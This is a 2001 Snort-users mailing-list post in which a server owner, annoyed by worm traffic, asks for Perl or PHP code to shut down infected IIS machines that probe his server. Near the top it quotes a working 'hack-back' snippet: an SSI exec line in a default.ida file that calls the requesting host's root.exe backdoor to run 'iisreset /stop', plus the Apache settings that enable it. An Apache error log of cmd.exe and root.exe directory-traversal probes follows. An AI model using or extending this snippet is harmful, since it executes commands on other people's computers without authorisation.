[Snort-users] Shut them down, I have had enough...

Franki franki at ...2492...
Wed Sep 19 00:12:02 EDT 2001


Hi all,

I have seen in the past a php script that would shut down infected IIS
servers that are trying to infect linux box's

I havn't done it, because I didn't really think it was that nice a thing to
do...

This is the one I saw...

> > 1) Create a file called default.ida, in there add this:
> >
> > <!--#exec cmd="lynx -source
> > http://$REMOTE_ADDR/scripts/root.exe?/c+iisreset+/stop"-->
> >
> > On one line, if it wraps in your mail client....
> >
> > 2) Then in your httpd.conf or similar... add this
> >
> > AddType text/html .ida
> > AddHandler server-parsed .ida

but I checked my personal server this morning and the httpd error log looks
like this. (see the end of the email)

anyway, I'd like to setup the server to shutdown any IIS box that asks for
cmd.exe or root.exe

Does anyone know how this can be done using either perl or php???

has anyone already done it? if so where can I find it???

I am tired of this, I have a very limited bandwidth, and even if it isn't
doing any damage, its chewing up the bandwidth.. and costing me money, as
far as I am now concerned, they have three choices, either patch their
server, pay my bandwidth bill, or get their servers shut down alot...

Any help would be much appreciated.

Regards

Frank
Perth WA



[Wed Sep 19 14:47:27 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/c/winnt/system32/cmd.exe
[Wed Sep 19 14:47:28 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/d/winnt/system32/cmd.exe
[Wed Sep 19 14:47:31 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Sep 19 14:47:33 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/_vti_bin/..%5c../..%5c../..%5c../winnt/system32
/cmd.exe
[Wed Sep 19 14:47:34 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/_mem_bin/..%5c../..%5c../..%5c../winnt/system32
/cmd.exe
[Wed Sep 19 14:47:40 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/msadc/..%5c../..%5c../..%5c/..A../..A../..A../w
innt/system32/cmd.exe
[Wed Sep 19 14:47:42 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..A../winnt/system32/cmd.exe
[Wed Sep 19 14:48:00 2001] [error] [client 203.47.134.211] File does not
exist: /var/www/html/otherwebs/epay/default.ida
[Wed Sep 19 14:48:13 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/root.exe
[Wed Sep 19 14:48:14 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/MSADC/root.exe
[Wed Sep 19 14:48:15 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/c/winnt/system32/cmd.exe
[Wed Sep 19 14:48:16 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/d/winnt/system32/cmd.exe
[Wed Sep 19 14:48:18 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Sep 19 14:48:19 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/_vti_bin/..%5c../..%5c../..%5c../winnt/system32
/cmd.exe
[Wed Sep 19 14:48:21 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/_mem_bin/..%5c../..%5c../..%5c../winnt/system32
/cmd.exe
[Wed Sep 19 14:48:23 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/msadc/..%5c../..%5c../..%5c/..A../..A../..A../w
innt/system32/cmd.exe
[Wed Sep 19 14:48:24 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..A../winnt/system32/cmd.exe
[root at ...36... httpd]# tail -50 error_log
[Wed Sep 19 14:53:18 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Sep 19 14:53:18 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..%5c../winnt/system32/cmd.exe
[Wed Sep 19 14:53:19 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
[Wed Sep 19 14:53:20 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/msadc/..%5c../..%5c../..%5c/..A../..A../..A../wi
nnt/system32/cmd.exe
[Wed Sep 19 14:53:20 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/scripts/..A../winnt/system32/cmd.exe
[Wed Sep 19 14:53:20 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/scripts/..%2f../winnt/system32/cmd.exe
[Wed Sep 19 14:53:20 2001] [error] [client 203.47.85.202] File does not
exist: /var/www/html/otherwebs/ezetax/_vti_bin/..%5c../..%5c../..%5c
../winnt/system32/cmd.exe
[Wed Sep 19 14:53:21 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/scripts/..A?../winnt/system32/cmd.exe
[Wed Sep 19 14:53:21 2001] [error] [client 203.176.30.78] File does not
exist: /var/www/html/otherwebs/ezetax/scripts/..%2f../winnt/system32
/cmd.exe
[Wed Sep 19 14:53:22 2001] [error] [client 203.47.1.130] File does not
exist: /var/www/html/scripts/..A../winnt/system32/cmd.exe






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